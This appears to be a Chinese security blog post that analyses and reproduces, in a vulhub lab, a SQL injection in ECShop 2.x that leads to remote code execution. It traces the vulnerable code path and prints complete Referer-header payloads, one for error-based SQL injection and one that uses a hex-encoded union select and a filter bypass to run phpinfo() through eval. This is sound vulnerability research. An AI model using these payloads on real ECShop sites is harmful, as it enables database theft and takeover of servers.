01
—
漏洞简介
ecshop2.x 代码执行
问题发生在user.php的display函数,模版变量可控,
导致注入,配合注入可达到远程代码执行
02
—
漏洞环境
直接在vulhub开始:
cd vulhub/ecshop/xianzhi-2017-02-82239600/
docker-compose up -d
ecshop2.x环境
http://1.1.1.1:8080/
03
—
漏洞分析
0x01-SQL注入
由于没有找到源码,只好在docker环境里作代码分析了:![ECShop 2.x SQL注入/任意代码执行漏洞分析复现 ECShop 2.x SQL注入/任意代码执行漏洞分析复现]()
根据payload可以发现,Referer就是万恶的根源。
先定位HTTP_REFERER的位置:
# 匹配字符串并输出所在行
grep -n "HTTP_REFERER" user.php
然后利用sed,查看附近的代码
# 查看第300行 - 330行的内容
sed -n "300,330p" user.php
关键代码:
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}
可以看见,首先把HTTP_REFERER传给了back_act,然后接着将back_acck变量传assign函数,跟进一下:
grep -rn "function assign("
sed -n "60,90p" includes/cls_template.php
根据注释可以了解assign函数的功能是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act。
继续跟进includes/cls_template.php:
sed -n "90,140p" includes/cls_template.php
后面调用了display函数,而在user.php有如下代码:
$smarty->display('user_passport.dwt');
传递给display函数的$filename是user_passport.dwt,在display函数中,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。
docker分析起来实在不太方便,只好试着把docker中的文件压缩下载本地继续分析了:
# 将源码压缩打包
tar -czvf ecshop2.x.tar.gz html
# 将压缩包移动到web目录下
mv ecshop2.x.tar.gz html/
用phpstorm打开:
读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的
不是随机生成的:
所以$val内容可随意控制。
继续跟进isnert_mod函数:
$val传递进来,先用|分割,得到
-
$fun
-
$para
$para进行反序列操作,$fun和insert_拼接,最后动态调用$fun($para)。可以发现,函数名为insert_开头即可,而参数是完全可控。接下来就是寻找以insert_开头的可利用的函数:
# 定位字符串
Ctrl+Shift+F
最后在includes/lib_insert.php中找到了insert_ads函数:
由于$arr是可控的,而且会拼接到SQL语句中,所以注入点便有了。
现在便根据上面这个流程构造查询数据库版本的payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
0x02-代码执行
继续跟insert_ads函数:
SQL查询结束之后会调用模板类的fetch方法
user.php -> display() -> fetch() -> user_passport.dwt
lib_insert.php -> insert_ads() -> fetch() -> $position_style
在这里回溯一下$position_style,发现它是被$row['position_style']赋值,而$row['position_style']是SQL语句查询的结果
由于上面分析的SQL注入,sql语句查询的结果是可控的,也就意味着$position_style可控。虽然这里有一个判断:
$row['position_id']要等于$arr['id']
但并无大碍,因为它也因为上面的sql注入变成变得可控了。
继续往后走,$position_style会拼接'str:'
接着便传入fetch函数,跟进fetch函数:
其实这里便可以看见代码执行的影子了:
eval()
当满足条件:
strncmp($filename,'str:', 4) == 0
# 因为之前已拼接'str:',这里自然为真
到进入eval前还需要经过函数fetch_str处理,跟进fetch_str:
这里主要是通过正则对字符串进行处理:
# 第1个正则,很明显,黑名单嘛,过滤关键字
# 第2个正则,将捕获到的值交于$this-select()函数处理
return preg_replace("/{([^}{n]*)}/e", "$this->select('\1');", $source)
继续跟进select函数:
如果传入的变量满足条件:
# 第一个字符是$
$tag{0} == '$'
便返回
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
最终返回到_eval()函数执行。
在返回之前,调用了$this->get_var函数,继续跟进:
当传入的变量不满足条件:
strpos($val, '.$') !== false
调用$this->make_var,继续跟进
在这里$val经过了如下处理, 然后返回给get_var():
'$this->_var['' . $val . '']'
现在来回溯一下payload的处理流程:
make_var() -> get_var() -> select() -> fetch_str() -> eval()
即若想通过_eval()执行代码的话,就得构造payload通过以下函数(从下到上):
-
make_var()
-
get_var()
-
select()
-
fetch_str()
# <?php echo $this->_var[' $val '];?>, 这里需要['闭合
$val == abc'];echo phpinfo();//
# 第一个字符是$
$val == $abc'];echo phpinfo();//
# 进入select(),需要被正则捕获,即
$val == {$abc'];echo phpinfo();//
# 这里会因为phpinfo() 被fetch_str()第一个正则匹配到
# 需要小小的bypass一下
$val == {$abc'];echo phpinfo/**/();//}
$val == {$abc'];echo phpinfo/**/();//}
# payload构造完毕
接下来就是把构造好的payload通过sql注入传给$position_style。这里可以用union select 来控制查询的结果:
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .'p.ad_height, p.position_style, RAND() AS rnd ' .'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' ."WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' "."AND a.position_id = '" . $arr['id'] . "' " .'ORDER BY rnd LIMIT ' . $arr['num'];
先构造条件:
$row['position_id'] == $arr['id'
$row['position_id']是第1列的结果,$position_style是第2列的结果:
$$row['position_id'] == arr['id'] -> '/*
# '/*的16进制值为0x27202f2a
根据:
构造出来的payload如下:
$val == {$abc'];echo phpinfo/**/();//}
$position_style == $val == {$abc'];echo phpinfo/**/();//}
# {$abc'];echo phpinfo/**/();//} 的16进制为
0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d
# $arr['num'] 为
*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10--
最后结合SQL注入漏洞,可得最终的payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94c
04
—
漏洞复现
0x01-SQL注入
payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
如图:
成功查询了数据版本:
0x02-代码执行
payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94c
如图:
成功执行了phpinfo()。
05
—
小结
经典的“二次漏洞”,从一个SQL注入漏洞最后转变为代码执行漏洞。
3.x的版本也有洞,等下次在复现分析吧。
参考:
https://paper.seebug.org/691/
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
https://badcode.cc/2018/09/04/ECShop-0day%E7%9A%84%E5%A0%95%E8%90%BD%E4%B9%8B%E8%B7%AF/
本文始发于微信公众号(don9sec):ECShop 2.x SQL注入/任意代码执行漏洞分析复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论